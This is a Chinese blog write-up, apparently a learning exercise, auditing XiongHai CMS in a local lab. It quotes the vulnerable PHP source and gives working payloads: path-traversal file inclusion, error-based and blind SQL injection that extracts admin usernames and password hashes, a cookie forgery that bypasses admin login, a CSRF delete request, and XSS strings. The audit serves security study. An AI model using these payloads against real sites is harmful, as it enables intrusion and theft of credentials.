熊海cms——代码审计

前言

再基本了解了代码审计的方法后,参考各个师傅的博客跟着他们一步一步代码审计。

下载源码:A5源码、站长之家、源码之家、系统官网等。

审计环境

使用小皮面板,新建网站
在这里插入图片描述
接着直接打开网站的install 就可以开始安装了
ps:至于为什么不能用php7.4.3 环境 安装请知道的师傅call 我 万分感谢!

审计过程

先了解文件目录
在这里插入图片描述

admin         --管理后台文件夹
css           --存放css的文件夹
files         --存放页面的文件夹
images        --存放图片的文件夹
inc           --存放网站配置文件的文件夹
install       --网站进行安装的文件夹
seacmseditor  --编辑器文件夹
template      --模板文件夹
upload        --上传功能文件夹
index.php     --网站首页

tip:

下面的payload
r = 引用files文件夹下的文件

0x01 使用seay源代码审计系统进行审计

在这里插入图片描述

扫描到了很多个可疑漏洞,不过工具都有一定的误报,下面我们就逐个进行验证

0x02 /index.php文件包含漏洞

在这里插入图片描述

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

查看源代码,我们发现程序通过GET方法接收文件名,并且只做了一个addslashes

(返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号()、双引号(")、反斜线(**)与
NUL(NULL 字符)。)

,然后直接放在了include函数里面了,相当于引用 files/xxxxx.php 文件,这里如果我们通过其他方法在根目录上传一个脚本就可以直接包含:

在这里插入图片描述

payload:
?r=phpinfo //包含files文件夹下的phpinfo()
?r=../phpinfo  //包含根目录的phpinfo()

在这里插入图片描述
在这里插入图片描述

2.2 /admin/index.php中的文件包含也是类似

源代码

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

在这里插入图片描述

0x03 /admin/files/login.php SQL注入漏洞

查看login.php的源代码

在这里插入图片描述
源码:

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;	
	}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

直接通过POST方式接收user、password,并且没有做任何过滤。然后先查询用户名,如果用户名存在,就将将POST得到的密码进行md5,然后和数据库中对应的密码进行比较。这样的话,虽然我们可以通过万能密码admin’ or ‘1’='1对用户名绕过,但是密码没有方法绕过,万能密码的方法就不可行了。 不过由于没有做任何过滤,我们还是可以执行SQL语句的

比如:

1' or sleep(10) #

在这里插入图片描述

这样我们就可以进行布尔盲注

经过测试,发现也存在报错注入

payload:

admin' or updatexml(1,concat(0x7e,(select @@version),0x7e),1); #
admin' or updatexml(1,concat(0x7e,(user()),0x7e),1); #
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #

admin' or updatexml(1,concat(0x7e,(select @@version),0x7e),1); #

在这里插入图片描述

admin' or updatexml(1,concat(0x7e,(user()),0x7e),1); #

在这里插入图片描述

1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #

在这里插入图片描述

0x04 /admin/files/editcolumn.php、editlink.php、editsoft.php… SQL注入漏洞

在这里插入图片描述
在这里插入图片描述

都是类似的漏洞。POST方式接收了参数之后,没有进行然后过滤,然后直接执行了UPDATE/DELETE/INSERT语句,我们可以直接进行报错注入

payload:

' or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '

img

0x05 /inc/checklogin.php 越权漏洞

inc目录下的都是配置文件,很重要,要每一个文件都仔细查看。

checklogin.php

[img

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

接收cookie中user的内容,如果user字段为空,则跳到登录页面

这样的话,我们打开一个后台页面,抓包,设置cookie中的user字段为admin会怎么样呢?
在这里插入图片描述
在这里插入图片描述

发现我们直接进入了后台,并且只要保证每次cookie中user参数都有值就可以访问后台的所有内容,因此存在垂直越权漏洞。

0x06 CSRF漏洞

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$wzlistopen='class="open"';
$pageyema="?r=wzlist&page=";

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit; 
}
?>

这里的内容管理中有一个删除文章的功能,没有做csrf token、验证码等防护。

点击后抓包得到url

http://www.xh.com/admin/?r=wzlist&delete=15

在这里插入图片描述

退出管理员账号,根据之前的越权漏洞分析,这里应该会转跳到login的界面,试一下,果然如此。

[img
其payload

www.xh.com/admin/?r=wzlist&delete=15

然后我们换个浏览器,来访问这个payload,并且抓包,在Cookie处,添加user的值为admin

在这里插入图片描述
转发:
在这里插入图片描述

0x07 /files/contact.php 存储型XSS漏洞

img
前台留言板没有进行XSS过滤,后台管理界面也没有进行过滤,因此产生了存储型XSS,而且有针对性的攻击管理员,属于比较危险的一类XSS了

关键代码

<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>

2./files/controller.php

在这里插入图片描述
应为没有设置第二个参数导致没有过滤
在这里插入图片描述

3./admin/files/manageinfo.php

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);

$save=$_POST['save'];

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

if ($save==1){
	
	
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
	}
	
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
	}
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
	}

//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
		$tmp = new FileUpload_Single;
		$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
		$tmp -> accessPath =$upload;
		if ( $tmp -> TODO() )
		{
			$filename=$tmp -> newFileName;//生成的文件名
			$filename=$upload.'/'.$filename;
			$imgsms="及图片";
			
		}		
}
}

if ($filename<>""){
$images="img='$filename',";	
}

if ($password<>""){
$password=md5($password);
$password="password='$password',";
}

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>"; 
exit;
}
?>

POST传参,但是无任何过滤,直接根数据库进行交互,存在存储型XSS
payload:

<img src=1 onerror=alert(/xss/)>


在这里插入图片描述
在这里插入图片描述

0x08 /files/contact.php 反射型xss

$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行

在这里插入图片描述
payload:

<img src=1 onerror=alert(/xss/)>

在这里插入图片描述
参考:https://xz.aliyun.com/t/10942#toc-3
https://www.cnblogs.com/vege/p/13453283.html

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明月清风~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值